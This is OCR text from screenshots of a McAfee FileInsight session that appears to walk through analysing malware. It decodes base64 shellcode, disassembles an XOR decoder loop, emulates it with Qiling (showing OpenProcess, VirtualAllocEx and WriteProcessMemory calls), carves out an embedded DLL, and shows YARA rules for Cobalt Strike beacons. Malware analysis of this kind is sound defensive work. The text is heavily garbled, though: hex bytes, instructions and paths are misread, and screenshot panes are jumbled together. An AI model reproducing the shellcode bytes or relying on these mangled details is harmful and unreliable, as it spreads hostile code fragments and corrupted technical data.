Check for update D4 FF FF FF 49 S5F 7F FE 49 53 7C FE 04 05 97 FE I Is| 08 = pop esi [5E]
Version info 04 05 97 A5 5640 C2 2C;B3 C1 01 26 D8 C1 01 59 va , Y 0x%G- mov ebx, dword ptr [esi] [BB 1E]
CB 48 C2 0E €3 4CC2 0E:!e3 1C 3D DE OB EC 88 7C H cL c = | OxB - add e=i, 4 [83 C6 04]
5D 84 8D 7C 5D 84 DD 83 8E 84 DD 83 8E 84 DD 83| 1] 11 OxE - mov edx, dword ptr [esi] (8B 16]
BE 84 DD 83 BE 84 DD 8366 54 DD 83 68 9B 67 8 , E h g 0x10: xor edx, ebx (31 DA
68 2F 6E 40 49 97 6F 0C B4 BE 3B 64 EDC5 1B 14 [h/n@I o ;d . .
9F AR 7C 66 FE C7 5C 05 9F A9 32 6AEB 89 50 0F| |f \ 23 P gig ;ighe:’i : Ezz]ce .
CB FB 25 61 EB 92 4B 41 |AF DD 18 61 C2 B2 7C 04 %a EKA a | . .
ECBF71 0EC8BF710E/CEBF710E31B1D862] g g g 1 b loghee e mELy SLUEEE S (25 e e
8C DE 1F 5D 31 B1 D8 62 :8C DE 1F 5D 2F E3 5C 62 11 b 1/ \b celis EEEomI =in _ e ==l
BS5 8C 9B 5D 16 B1 €9 62 B8 DE OE 5D 1B E3 4 [J] ] b 1 I8 Oxla:  mov dword ptr [esi], ecx [83 OE]
DD 5C 8D 5D 47 25 31 62 ' F5 42 F6 5D 48 25 30 62 16%1b J ]1H%0b OxlC:  =xor ebx, ecx [31 CE]
27 4AF7 5D 84 7T7TB9 62'8E 18 7TESD2D252B62(|'TJ 1 w b 1-%+b Ox1E: add esi, 4 [B3 C& 04]
91 4AECS5D 32 7TTBA G2 8E 18 7D5SDDC 71 1E35| J 12w b 1] g 5 0x21: sub edx, 4 [B3 EA 04]
61 IED9 0R 61 IED9 0OA 61 IED9 0OA 61 1EDY OR|a a a a 0x24: XOr =2CX, 8CX [31 c&]
61 1E D9 02 31 5B D9 027D 5& DC OA 3F 08 ED 5D |a 1] Z 2 1 , 0x26: cmp edx, ecx [39 CA]
3F 08 ED 5D 3F 08 ED 5D DF 08 EF 7C DIQQ x28: je 0Ox2c [74 02]
D4 23 E4 7C D4 FD E4 7C!D4 FD E4 7C 1§£@3 i§ Illlﬂnr“ng' Hlease al =3A: Jmp 0x16 [EB EA]
19 82 E5 7C 19 CAE7 7C 19 CAE7 6C 19 DR E7 6C I I 1 1 0x2C: pop ebx [5B]
19 D8 E7 6C 1C D8 E7 6Ci1C D8 E7 6C 19 DS E7 6C 1 1 1 1 0x2D- jmp ebx [FF E3]
19 D8 E7 6C 19 F8 E3 6C;19 FC E3 6C 62 08 E0 6C 1 1 1b 1 0x2F: call 8 [ES D4 FF FF FF]
— T 60 08 20 6D 60 08 BO 6D' 60 18 BO 6D G0 1S8R0 6ED|° m® m°® m*® m :
Al i) e Steuctures ] Decode 60 08 A0 6D 60 08 A0 6D 70 08 A0 6D 7T0ESA26D|° m° mp mp m e EE; T Eg?%
21 E9A2 6DF5 26 A0 6D 55 26 A0 6D55D6A3 6D|! m & mUs mU m 0x36: 3 0x36 [7F FE]
E1 D7 A3 6D E1 D7 A3 6D:E1 D7 A3 6D E1 D7 A3 6D m m m m . :
. E1 D7 A3 6D E1 D7 A7 6D;05 CO A7 6D 75 83 A5 6D m m mu m o e
[ Oxclf end of disassembly bYE2G%1b- - Ho%.. 69 83 A5 6D 69 83 A5 6D 69 83 AS 6D 69 83 A5 6D mi mi mi m

Output

£ Values INRELluElS B Calculator =leiad & Scripting
Press F1 for help

= 5 ; - ROl E A @

5:02 PM
87772021




v B2 Filelnsight - Disassembly™ - >

Edit Search Plugins

~] McAfee
B ruoinc U

MNavigation 30ac25c3121e960d195d7eadcfl... % Mewfile0* X Qutput of Custom basebd decode® X Newfile 1% x JoENICRELNEESR < b 5 X WIEEEIT0 Vb

¥ Supported for HTML. OLE2, PE and Flash. FC ES 00 00 00 00 EB 27 !5E 8B 1E 83 C6 04 8B 16 1A A 0x0: cld

31 DA 83 C6 04 56 8B OE:31 D9 89 OE 31 CB 83 Cé 0x1: call &

04 83EA0431C939CA 74 02EBEASBFFE3ES 0x6: jmp 0x2f

D4 FF FF FF 49 5F 7F FE 49 53 7C FE 04 05 97 FE I 0x8 - pop esi

04 05 97 A5 56 40 C2 2C!B3 C1 01 A6 D8 C1 01 59 ve 0x9: mov ebx, dword ptr [esil
0B48 C2 0E 63 4CC20E!63 1C3DDEOBEC887C| H cL OxB - 2dd
5D84 8D T7C 5D 84 DD 83 8E84DDB838EB4DDB3|] |]
8E 84 DD 83 8E 84 DD 83 :66 84 DD 83 68 9B 67 8D
68 2F 6E 40 49 97 6F OC 84 B6 3B 64 EDC5 1B 14 |h/n@I o
9F AA 7C 66 FE C7 5C 05! 9F A9 32 6A EB 89 50 OF £ \
CB FE 25 61 EB 92 4B 41 /AF DD 18 61 C2 B2 7C 04 $a EA
EC BF 71 OE C8 BF 71 OE!C8 BF 71 OE 31 B1 D8 &2 a a
8C DE 1F 5D 31 B1 D8 62 :8C DE 1F 5D 2F E3 5C 62 11 b celis EEEomI =in _

BS5 8C 9B 5D 16 B1 €9 62 B8 DE OE 5D 1B E3 4 [J] ] b Oxla:  mov dword ptr [esi], ecx
DD 8C 8D 5D 47 25 31 62 |F5 4A F6 5D 48 25 30 62 1G¥1b J 1HS30b e

27 4A F7 5D 84 77 B9 62 |8E 18 TE 5D 2D 25 2B 6{ ¢ tiate code _ 0 % e

91 4AEC 5D 32 77 BA 62 8E 18 7D 5D DC 71 1E 3 O0x21: sub edx, 4

61 1E D9 OR 61 1E D9 OR 61 1E D9 OA 61 1E D9 0f Filetype |Shellcode | 0x24:  =xor ecx,

61 1E D9 0OA 31 5B D9 0A 7D 5A DC OA 3F 08 ED 5 0x26: cmp edx,

3F 08 ED 5D 3F 08 ED 5D!DF 08 EF 7C D§£@i 0S: |Windows rai ®28 : je 0x2c

D4 23 E4 7C D4 FDE4 7C.D4 FDE4 7C 1 Architecture 225: Jmp 0x16

19 8RAES 7TC 19 CRAE7 TC!19CAET7 6C 19 DA ET ' Ox2¢C - ECcP ebx

19 D8 E7 6C 1C D8 E7 6C:1C DB E7 6C 19 D8 E7 6{ prulation timeout 0x2D:  3mp ebx

19 DB E7 6C 19 F8B E3 6Ci19 FCE3 6C 62 08 EO (seconds, 0 = no timeout): O0x2F:- call 8

60 08 A0 6D 60 08 BO 6D' 60 18 BO 6D 60 18 A0 0x34 -
60 08 A0 6D 60 08 AO 6D:70 08 AQ 6D 70 E9 A2 ﬂ 0%35 -
21 E9 A2 6D FS5 26 A0 6D'55 26 AQ 6D 55 D6 A3 T M & IO & I
E1 D7 A3 6D E1 D7 A3 6D E1 D7 A3 6D E1 D7 A3 m m
E1 D7 A3 6D E1 D7 A7 6D:05 C0 A7 6D 75 83 AS m mu
() Oxdf end of disassembly bYER]G3%1b - - Ho... 69 83 A5 6D 69 83 AS 6D' 69 83 AS 6D 69 83 AS i mi mi

esi, 4

0xE: mov edx, dword ptr [esi]
0x10: xor edx, e=bx

0xl1Z2: add esi, 4

0x15: push esi

Oxle: mov ecx, dword ptr [esi]

dec ecx
pop edi
0x36: Jg 0x36

0x38: dec ecx
M3 G- raickh akw

EPQVENRENLIY B Structures [ Decode

Output

£ Values MelbElucus BE Calculator SR B Scripting
Press F1 for help

= =t : @ @ wmlapomE A @

5:02 PM
87772021




w B2 Filelnsight - Disassembly™ = >

Home Edit Search Plugins Windows Help

|+ Operations

U McAfee

Navigation ! 3d30ac25c3121e960d195d7eadcfl.. X MNewfile0* >  Output of Custom basebd decode® X Mewfile 1* X Output of Custom basefd decode* ¢ JaglERGLEIctay Memory dump 0 X Memory dump 1% X Memory dump 2* X Disassembly* X
X Supported for HTML, OLEZ2, PE and Flash.

Emulation trace:
Profile: Default
Map GDT at 0x30000 with GDT_LIMIT=40%6
Write to 0x30018 for new entry b'\xz00\xf0\x00\=x00\x00\xfeO\=x00"
Write to 0x30028 for new entry b'\x00%xfO\xz00\x00\xz00\x%60N\200"
Write to 0x30070 for new entry b'\z00 \x00 \xz00\xfé@\=00"
Write to 0x30078 for new entry b'\x00%x00\xz00\x00\x00\xfe@\x06"
Windows Registry PATH: Mischgiling-masteriexamplesi\rootfs\x86 windows\Windows\registry
Initiate stack address at 0xf££fddo0o
TEE addr is 0x&000
PEE addr is 0Ox6044
Leading Mischgiling-masteri\examplesi\rootfs\x86 windows\Windows\System32'ntdll.d1ll to 0x10000000
Warnings while loading Mischgiling-masteri\exampleshrootfs\x86 windows\Windowsh\System32i\ntdll.dll: M
- SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 5. EmUIatlon trace
- AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
Done with loading Mischgiling-masterhexamplesi\rootfs\x86 windows\Windows\System32intdll.dll
Leading Mischgiling-masteriexamplesi\rootfs\x86 windows\Windows\System32\kernel3Z2.dll teo 0x101a3000
Done with loading Mischgiling-masteriexamplesi\rootfs\x86 windows\Windows\System3Z2\ksrnel32.dll
Leading Mischgiling-masteriexamplesi\rootfsi\x86 windows\Windows\System32\user32.dll to 0x10288000
Done with loading Mischgiling-masteriexamplesi\rootfs\xz86 windows\Windows\System3Z\user3z.dll
0x101c23c0: Virtualalloc{lpAddress = 0, dwSize = 0x42000, flallocationType = 0x3000, flProtect = 0x40) = 0x5000370
0x101lc3bd0: LoadLibrarvA(lpLibFileName = "EERNEL3Z.dl1l1"™) = 0x101a3000
U0x101cZ550: GetProcRddress (hModule = 0x101a3000, lpProcName = "OpenProcess") = 0x101c3630
ERIVERECEN B Structures  [0] Decode 0x101c2550: GetProchddress (hModuls 0x101a3000, lpProcName = "VirtualZAllocEx") = 0x1l01d7£ff0
0x101c2550: GetProcRddress (hModuls 0x10123000, lpProcName = "WriteProcessMemory"™) = 0x101d48240
0x101c2550: GetProcRddress (hModuls 0x101a3000, lpProcName "FreeLibrary") = 0x101c3ae0

Etm_ 0x101c25%0: GetProclddress (hModuls 0x10133000, lpProcName "VirtualFree") = 0x101cZ4cO
MNw1MN1~2EE8MN . MPet+tDracrdiddyraece (AMAadni e = O=101 23000 T rmDrm~Names = "Throead37F1 o+ "y = M=101FAG=N

Bookmarks q

Output

08: Windows
Architecture: =86

Big endian: false
Command line arguments:
Timeout: &0

2dded bookmarks to the region of the memory dumps that contain non-zero value.

Emulation trace is shown in the new "Emulation trace" tab.
Memory dumps after execution are shown in the new "Memory dump” tabs.

£ Values melbrlucus B Calculator ohINd R Scripting

C RS *



w B2 Filelnsight - Disassembly™ = >

Edit Search Plugins Windows Help

|+ Operations

U McAfee

Navigation B 3d30ac25¢3121e060d195d7eadcf1... % Mewfile 0 X  Output of Custorn basefd decode® X MNewfile 1* X Output of Custom basebd decode® X [JERUEUGLRIClFd Memory dump 0 X Memory dump 1* X Memory dump 2* X Disassembly* X 4F - X

X supported for HTML, OLE2, PE and Fiash. 0x101c0£f£f0: WideCharTocMultiByte (CodePage = 0xlb5, dwFlags = 0, lpWideCharStr = "k\x01\x05D\x04%\x05\x02\x05B%x04\x05 \x02", cchWideChar = Oxlec, lpMultiByteStr = s
0x101cl860: InterlockedDecrement (Target = 0x502fSb8) = Oxffffffff
Ox101cl7e0: InterlockedIncrement (Target = 0x504428¢c) = 0x0
0x1023bb83: EnterCriticalSection{lpCriticalSection = 0x50310c0) = 0x0
0x101cl860: InterlockedDecrement (Target = 0x502f8b8) = Oxfffffffe
Ux101cl7e0: InterlockedIncrement (Target 0x504428¢c) 0=0
0x1023fadf: LeaveCriticalSection{lpCriticalSection = 0x50310c0) = 0x0
hModule 0
API not implemented
Traceback (most recent call last):
File "C:\Usershuser‘\AppData\Local‘\Programs\Python\Python38\lib\site-packagesigiling‘os\windows\windows.py", line 135, in hook winapi
api func(gl, address, api name)
File "C:\Usershuser‘\AppData‘Local\Programs'Python‘\Python3g\lib\site-packagesi\gilinghos\windows\fncec.py", line 162, in wrapper
return gl.os.call(pc, func, params, onenter, onexit, passthru=passthru)
File "C:\Usershuser\AppData\Local\Programs'Python\Python38\lib\site-packagesigilingioshos.py", line 133, in call
targs, retwval, retaddr = self.fcall.call(func, proto, args, onenter, onexit, passthru)
File "C:\Usershuser‘\AppData\Local\Programs'Python'Python38\lib\site-packagesigilinghosifcall.py", line 144, in call
retval = func(gl, pc, params)
File "C:\Usershuser‘AppData‘\Local\Programs\Python‘Python3g\lib\site-packagesigilingios\windows\dllsikernel32\libloaderapi.py", lins 51, in hock GetModuleFileNamsA
raise QlErrorNotImplemented ("API not implemented™)
giling.exception.QlErrorNotImplemented: API not implemented
[+] GetModuleFileNamel Exception Found

Error: Windows APT Implementation Error Emulation is finished prematurelly due to

=L Bo Susctures [ Decode Memory map: unimplemented API (GetModuleFileNameA)

Bookmarks T [=] start End Perm Label

== [=] 00006000 - 00002000  rwx [FS/GS] Of Qiling Framework

=1 nNnINann — NN 00N I remm1i

Output

08: Windows
Architecture: =86

Big endian: false
Command line arguments:
Timeout: &0

2dded bookmarks to the region of the memory dumps that contain non-zero value.
Emulation trace is shown in the new "Emulation trace" tab.
Memory dumps after execution are shown in the new "Memory dump” tabs.

£ Values melbrlucus B Calculator By R Scripting

) & = e g



w B2 Filelnsight - Disassembly™ = >

Edit Search Plugins Windows Help

|+ Operations

U McAfee

Navigation ! 3d30ac25c3121e960d195d7eadcfl.. X MNewfile0* >  Output of Custom basebd decode® X Mewfile 1* X Output of Custom basebd decode® > WaRUENGLECtMA Memory dump 0F % Memory dump 1% X Memory dump 2* X Disassembly* X
X Supported for HTML, OLEZ2, PE and Flash.

Memory map:
] Start End Label Image

00006000 0000c000 [F5/G8]
00030000 goo031000 [GDT]
00040000 00240000 [shellcode base]
05000000 05001000 [heap]
05001000 05043000 [heap]
05043000 05044000 [heap]
05044000 05045000 [heap]
06000000 Oc000000 [F3/G3]
10000000 10123000 ntdll.dl1 Mischgiling-masterh\examplesirocotfs\x86 windows\Windows\System32\ntdll.dll
10123000 10288000 kernel32.dll Mischgiling-masterhexamplesirootfs\x86 windows\Windows\System32hkerns132.dll
10288000 10412000 user32.dll Mischgiling-masteriexamples\rootfs\x86 windows\Windows\System3Zhuser32.dll
1041=000 10438000 advapi32.dll Mischgiling-masterhexamplesirootfs\x86 windows\Windows\System32\advapi3z.dll
10498000 108£2000 wininet.dll Mischgiling-masteriexamples\rootfs\x8é_windows\Windows\System3Zi\wininet.dll
108£2000 105855000 wsZ 32.d11 Mischgiling-masterhexamplesirocotfs\x86 windows\Windows\System32\ws2Z 32.d11
10955000 10827000 dnesapi.dll Mischgiling-masteriexamples\rootfs\x86 windows\Windows\System32h\dnsapi.dll
10927000 10213000 iphlpapi.dll Mischgiling-masterh\examplesirocotfs\x86 windows\Windows\System32\iphlpapi.dll
10219000 102232000 secur3z.dll Mischgiling-masteriexamples\rootfs\x8é_windows\Windows\System3Zisecur3z.dll
f£fddoao ffffe000 [stack]

Extracted region [shellcode base] (start: 0x40000 end: 0xad40000 size: 10485760) as "Memory dump 0"

ERIVERECEN B Structures  [0] Decode Extracted region [stack] (start: Oxfffdd000 end: Oxffffe000 size: 135168) as "Memory dump 1"
Extracted region [heap] (start: 0x5000000 end: O0x5045000 size: 282624) as "Memory dump 2"

Bookmarks q

ETETE Three memory regions are extracted
as memory dumps

Output

08: Windows
Architecture: =86

Big endian: false
Command line arguments:
Timeout: &0

2dded bookmarks to the region of the memory dumps that contain non-zero value.
Emulation trace is shown in the new "Emulation trace" tab.
Memory dumps after execution are shown in the new "Memory dump” tabs.

£ Values melbrlucus B Calculator By R Scripting
Ln1

av z 504 PM

== ﬁ? H =E e \' [:]:I::I EI EI'I'I A @ o I_rl.aj_ﬂaj_-l



w B2 Filelnsight - Emulation trace* - >

Home Edit Search Plugins Windows Help

|+ Operations

U McAfee

Mavigation . X Mewfile0* X Output of Custom basebd decode™ X Mewfile 1" X Output of Custom basefd decode® X Emulation trace™ X QEEGGUIGIGTIEEES Memory dump 1% X Memory dump 2 X Disassembly™ X e
¥ Supported for HTML, OLE2, PE and Flash. G B3 Cce 04 8B 16

OE 31 CB 83 Ce
EASBFFE3 ESB
FE 00 OO EB 0O
BA 6B 00 00 FF
DO &8 FO BS A2
00 00 00 00 0O “ ° o
00 0E 1F 2A OF This program cannot be run in DOS
68 €9 73 20 70 ! L !This p

6F 7420 62 65 rogram cannot be mode." is visible in Memory dump 0.

206D 6F €4 65)| run in DOS mode

00 F9 OE A9 6C T So malware executable file seems to be

3FA3 3D 43 3F| o = 2 ? =C?
3F A3 3D 44 3F 2 2 ? =D?

3F BD 6F Cé 3F 2 2 ? o °? deObfuscated'
3F A3 3D 55 3F ? =N? ? =07
3F 52 69 63 68 ? =V7 ?Rich

GGRGECE | e However, “MZ" that should be at the

21 0B 01 09 0O ! . . . . . .
00 CD 67 01 00 9 beginning of the file is missing.
10 00 10 00 00
C0 05 00 00 00
00 7B F4 03 00
00 00 00 10 00
00 00 E1 O2 00
Bookmarks 00 00 FO O3 00
00 00 00 00 00
00 70 43 02 00
00 00 00 00 00

EPQVENRENINY BE Structures [ Decode

Output

08: Windows
Architecture: =86

Big endian: false
Command line arguments:
Timeout: &0

2dded bookmarks to the region of the memory dumps that contain non-zero value.

Emulation trace is shown in the new "Emulation trace" tab.
Memory dumps after execution are shown in the new "Memory dump” tabs.

£ Values melbrlucus B Calculator SRl B Scripting

i-* av




w B2 Filelnsight - Disassembly™ = >

Home Edit Search Plugins Windows Help

U McAfee

Navigation 3d30ac25c3121e969d195d7eadcfl... X Mewfile0* X  Output of Custom basebd decode™ X MNewfile 1 X Output of Custom basefd decode™ X Emulation trace™ X EUERGLEITULWAUGESE Memory dump 1% X Memory dump 2* X Disassembly™ X
X Supported for HTML, OLE2, PE and Flash. ES 00 00 83 Ce 04 8B 16 re

DA 83 C6 OE 31 CB 83 C6 v 1 1

83 EA 04 EASBFFE3 ESB 1 9 t

FF FF FF FE 4D SA B8 00 I Is| «
00 00 5B 52 8A 6B 00 OO0 FF [REU

89 C3 57 68 DO &8 FO BS A2 Wh E h

68 05 00 00 00 00 OO0 OO0 00 (Vh E

00 00 OO0 OO0 00 OE 1F BA OE
B4 09 CD 21 68 69 73 20 70 ! L !This p
6F 67 72 61 6F 74 20 62 65 |rogram cannot be
T2 75 6E 20 20 6D 6F 64 65 run in DOS mode
0D 0D OA 00 F9 OE A9 6C| . 1
6F C7 3F BD 3F A3 3D 43 3F o = e ¥ =0E
6F C7 3F A3 3F A3 3D 44 3F 2 2 ? =D°?
6F C7 3F 3F BD 6F C6 3F 7 2 ? O 7
6F C7 3F A3 3F A3 3D 55 3F ? =N? ? =0°?
6F C7 3F A3 3F 52 69 63 68 ? =V? ?Rich
6F C7 3F 00 00 00 00 00 00 2
00 00 00 50 00 42 52 31 57 BRIW
00 00 00 00 21 0B 01 09 00 !

2a 02 00 00 00 cD &7 01 00 g
10 00 00 QO 10 00 10 00 00
0z 00 00 05 00 05 00 00 00
00 00 00 00 00 7B F4 03 00
00 40 01 0O 00 00 00 10 00
10 00 00 QO 00 00 E1 02 0O
Bookmarks 00 00 00 D4 00 00 FO 03 00
01 00 OO0 OO 00 00 OO0 OO0 0O
00 00 OO0 OO0 00 70 43 02 00
00 00 OO0 OO0 00 00 OO0 OO0 0O

Manually adding “MZ”

EPQVENRENINY BE Structures [ Decode

Output

08: Windows
Architecture: =86

Big endian: false
Command line arguments:
Timeout: &0

2dded bookmarks to the region of the memory dumps that contain non-zero value.
Emulation trace is shown in the new "Emulation trace" tab.
Memory dumps after execution are shown in the new "Memory dump” tabs.

£ Values melbrlucus B Calculator B8 ER Scripting
Press F1 for help
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v B2 Filelnsight - Disassembly™ - >

Plugins

|
=[» Operatio Basic

2
Compression L4
b LR
Fluging  £nqding » ° 1= d fo I 174 I . f. d
Mavigation Misc 4 USIng Fln PE I e p ugln to In 1 basebd EOTEWGLRCEIC . Memory dump 0F < I ydump 1* X Memory dump 2* X
% supported IITEIEIININN  Binvielk scan .
Search g Disassemble the end Of the executable flle
Visualization L4 File type
Lk gl FindPEfile oo DR oD AQ S0 TR ©C 49 53 7C FE 4D SA ES 00 I IS| Mz
Check for update Parse file structure 0o Find PE file from selected region E5 81 C3 8A 6B 00 00 FF [REU k
Version info Show metadata (the whale file if not selected) 0 0 0
) D3 pased on PE header information | 00 20 FE DO 66 FU BS A2 Wh E h
Strings 56 oo usvvvuvwu su rr!D3 000000000000 CO0C0|VH E
0OCOO0O0OOOODOQO0OOCOIEBODOOOOOQOE 1IFBACE
00B4 09CD21BE 01 4CiCD 21 54 €8 €9 73 20 70 ! L !This p

72 6F 67 72 &1 6D 20 63 ;61 6E 6E 6F 74 20 62 65 |rogram cannot be
20 72 75 6E 20 69 6E 2044 4F 53 20 6D 6F 64 65| run in DOS mode
ZEOCDODOAR 24 00 00 00:00 00 00 00 F9 OE AS 6C|. 5 1

BD 6F C7 3FBD eF C7 3F BDEFC7 3FA3 3D43 3F| o ? o @mF =gE
SAGFC7 3FA3 3D5S23FAEGFCT 3FA3 3D 44 3F| o ? =R? o ? =D?
Cé 6F C7 3F 9A A9 BC 3F;B2 6F C7 3FBD 6F C6 3F| o ? o ? o ?
6F 6F C7 3F A3 3D 4E 3F'0A 6F C7 3F A3 3D 55 3F |oo 7 N? o ? =072
BC 6F C7 3F A3 3D 56 3F!BC 6F C7 3F 52 69 63 68 o ? V? o ?Rich
BD 6F C7 3F 00 OO0 OO0 OO:00 OO0 OO OO OO0 OO OO0 OO o ?

00 00 00 00 50 45 00 00 4C 01 0500 42523157|  PE L  BRIW .

00 00 00 00 00 00 00 00 E0 00 02 21 0KCG

00 22 02 00 00 DE 00 0000 00 00 00 c§$ J!: 15 runnlng,gplease wait...

00 10 00 00 00 40 02 0000 00 00 10 00 10 00 00 @

00 02 00 00 05 00 00 00:00 00 00 00 05 00 00 00

00 00 00 00 00 20 04 0000 04 00 00 7B F4 03 00 {

— — 02 00 40 01 00 00 10 00.00 10 00 00 00 00 10 00| @

Rl EE Stuctures [ Decode 00 10 00 00 00 00 00 0010 00 00 00 00 E1 02 00
— 51 00 00 00 D4 CF 02 00:A0 00 00 00 00 FO 03 000

B4 01 00 00 00 00 00 00:00 00 00 00 00 00 00 00

00 00 00 00 00 00 04 00 .E4 17 00 00 70 43 02 00 pC

00 00 00 00 00 00 00:00 00 00 00 00 00 00 00

Output

£
' Values E:BElatyel B Calculator [=] Cutput [llsc RISl
Press F1 for help Of (61)

= 5 ; - ROl E A @

5:08 PM
87772021




w B2 Filelnsight - Disassembly™ = >

Home Edit Search Plugins Windows Help

U McAfee

Mavigation X MNewfile0* X Output of Custom basefd decode™ X MNewfile 1* X% Output of Custom basefd decode® X Emulation trace® X WUENGLEGTGIEES Memory dump 1* X Memory dump 2* X Disassembly* X 1F - X
X Supported for HTML, OLE2, PE and Flash. ES 00 00 00 00 a 2306 04 8B 16 1A

DR 83 Ce 04 56 ] OE 31 CB 83 Cie (! K 1 1
83 ER 04 31 CS EA SBFFE3ES 1 9 t [
FF FF FF 49 5F FE 4D SA E8 00 I_ IS| M3z
00 00 5B 52 45 3A 6B 00 00 FF [RET k
89 C3 57 686 04 DO &8 FO BS AZ Wh P h
68 05 00 00 0O 00 00 OO0 OO0 OO (Vh P

00 00 OO0 0O 0O 00 OE 1F BA OE
E4 039 CD 21 B8 68 €9 73 20 70 l L !This p ° . ° °

6F 67 72 61 6D 6F 74 20 62 65 |rogram cannot be The flle is Win32 DLL flle and the
72775 6E 20 69 20 6D 6F 64 65| run in DOS mode

0D 0D 02 24 00 00 9 0E 29 6C| . 1 region of the file is bookmarked

&F C7 3F BD &F 3F A3 3D 43 3F o °z E ¥o=gE . .
6F C7 3F A3 3D SFA33D443F| o 7 =R? O ? =D3 based on PE header information
6F C7 3F 9A A9 3F BD 6F Cé& 3F E e 2 o 2
6F C7 3F A3 3D 3F A3 3D 55 3F ? =N?2 ? =02
6F C7 3F A3 3D 3F 52 69 &3 68 ? =V72 ?Rich
6F C7 3F 00 00 00 00 OO0 00 00 :
00 00 00 50 45 00 42 52 31 57 BR1W
00 00 OO0 00 00 21 0B 01 09 00 !

Zr 02 00 00 DE 00 cD &7 01 00 g
10 00 OO0 OO0 40 10 00 10 00 0O
0Z 00 00 05 00 00 05 00 00 00
00 00 OO0 00 20 00 7B F4 03 00
00 40 01 00 0O 00 00 00 10 00
10 00 00 00 0O 00 00 E1 OZ 00
Bookmarks o 00 00 00 D4 CF 00 00 FO O3 00
E‘m_ 01 00 00 00 0O 00 00 OO0 0O 0O
00 00 OO0 0O 0O 00 70 43 02 00
D03 Mz REUH-.. 00 00 00 00 0O 00 00 OO0 00 0O

EPQVENRENINY BE Structures [ Decode

Output

_

Win32 DLL found at offset Ox3c size 159680 bytes.
1 PE file(s) found from the whole file.
2dded bookmark(s) to the found PBE file(s).

£ Values melbrlucus B Calculator B8 ER Scripting

i-* av




v B2 Filelnsight - Disassembly™ - >

] McAfee

sembly* X

Edit

Search

Plugins

[ Dperations Copy to new file

Compression Bookrmark
h_ Plugins

Crypto
Mavigation

Copy selected region (the whele file if not selected) to a new file
Cut binary to clipboard

Encoding
Misc

Parsing

Copy binary to clipboard

Paste binary from clipboard
Delete befare
Delete after FCES

d7eadcfl.. X

00 00

Mew file 1% X

83 Ce 04 8B 16

Mew file 0* X

00 00

Output of Customn basefd decode™ X

SE

Output of Customn basefd decode™ X Emulation trace™ X EEEGGLEGT G Aiged Memory dump 1 X Memory dump 2 X Dis

# Supported fi

Search EB 27 8B 1E e n

Visualization
XOR

Fill 31
04
D4

Invert

DR 83 Ce 04

83
FF FF

Ea 04

31
FF 49

Check for update Reverse order

Version info Swap nibbles
Swap two bytes

To upper case

To lower case

Swap case

56
c9
SF

8B
39
IF

OE
CA
FghE

31
74
49

DS
a2
53

89
EB
qc

0E 31

0o
D3
56
0o
0o
72

EPQVENRENLIY B Structures [ Decode

[ ox3c MZ-  [REUF-...

Output

£ Values MelbElucus BE Calculator
Press F1 for help

1| =
N =

20
2E
ED
SR
cCe
BeF
BC
BD
0o
0o
0o
0o
0o
0o
02
0o
51
B4
0o
1C

LN A Scripting

0o
39
68
0o
B4
6F
12
0D
6F
eF
eF
eF
eF
eF
0o
0o
Zn
10
0z
0o
0o
10
oo
01
0o
0o

00
e
05
00
09
67
TE
0D
c7
BT
=T
=T
=T
=T
00
00
0z
00
00
00
40
00
0o
00
00
00

=B
S
0o
0o
)
12
6E
0A
3F

S
68
00
00
21
61
20
24
BD

3F A3
9A A9
3F A3
3F A3

3F

3F
0o
0o
0o
0o
0o
0o
01
0o
oo
0o
0o
0o

00
50
00
00
00
05
00
00
00
D4
00
00
00

2
04
0o
0o
BE
6D
6%
0o
6F
3D

3D
3D
0o
45
0o
DE
40
0o
20
0o
0o
=
0o
0o
0o

SE
00
50
00
01
20
6E
00
c7
52
BC
4E
S5e
00
00
00
00
0z
00
04
10
00
02
00
04
00

39
0o
FF
0o
b
63
20
0o
3F
3F
3F
3F
3F
0o
0o
0o
0o
0o
0o
0o
0o
0o
oo
0o
0o
0o

ES
00
L3
E8
CD
61
44
00
BD
AE
B2
OR
BC
00
4c
EOD
00
00
00
00
00
10
Al
00
E4
00

21
>0
0o
0o
21
6E
A
0o
6F
eF
eF
eF
eF
0o
01
0o
0o
0o
0o
04
10
0o
oo
0o
17
0o

e
FF
00
00
24
6E
ek
00
c7
BT
=T
=T
=T
00
05
0z
00
00
00
00
00
00
0o
00
00
00

3F 52
00
42

00
05
B
00
00
0o
00
70
00

b

CE83Ce|1l
FF E3 EB8
SA ES 00

'
1 9
I

1
=

IS |

00 00 FF
FO BS A2
00 00 0o
1F BA OE
73 2070
20 82 65
6F 64 65
OE A9 &C
3D 43 3F
3D 44 3F
6F Cé& 3F

3D 55 3F|io

69 63 68
00 00 00
52 31 57

0o
Fd
0o
E1l
FO
0o
2bE
0o

00
03
10
0z
03
00
02
00

0o
0o
0o
0o

0o
0o
0o

00|

[R
Wh

1

rogram

run

&
=]

1]
B ad ] e @] e

P

EUO k
P h

L !This p
cannot be
in DOS mode

o
jeu

I
= 0

[}
O w3 e3 a3 a3 |

W o B maa

00000

w el wd ed ]
L (=

I
3 =

R1

Ll

E L BR1W

S running, p

@

Iy
@

Extracting the DLL file

lease wait...

SOl ® A O



Filelnsight - apt_cobaltstrike.yar

Edit Search Plugins Windows

|+ Operations

Nawvigation B 069d195dTeadcfl... *x Mewfile0* X Output of Custom basefd decode® X Newfile 1% X

X Supported for HTML, OLEZ2, PE and Flash.
rule ABT CcbkaltStrike Beacon Indicator {

meta:
description = "Detects CcbaltStrike beacons”

author = "JPCERT"
reference = "https://github.comn/JPCERTCC/aa-tools/blobh/master/cobaltstrikescan.py”
date = "2018-11-08%"
strings:
5vl = { 73 70 72 6E &7 00 }
Sv2 = { 69 &% &9 6% E% 6% 69 €9 }
condition:
uintl&(0) == 0x5a4d and filesize < 300KEB and z2ll of them

rule HETL CobaltStrike Beacon Strings {
meta:
author = "Elastic"
description = "Identifies strings used in Cobalt Strike Beacon DLL"

reference = "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures"”

date = "2021-03-1c"
strings:
551 = "%02d4/%02d/%02d %02d:%02d:%024"
382 = "Started service %s on %s"
553 = "%s as %s\\%s: Hd"
condition:
Bookmarks a 2 of them

EPQVENRENINY BE Structures [ Decode

Output

Copied 199680 bytes from cffset 0x3c to 0x30c3b to new tab "New file 2'.

£ Values melbrlucus B Calculator By R Scripting

Press F1 for help
C = ' *

Output of Custorn basef4 decode* X Emulation trace® X Memory dump 0% Memory dump 1% X Memeory dump 2* X Di bly* > Mew file 2*

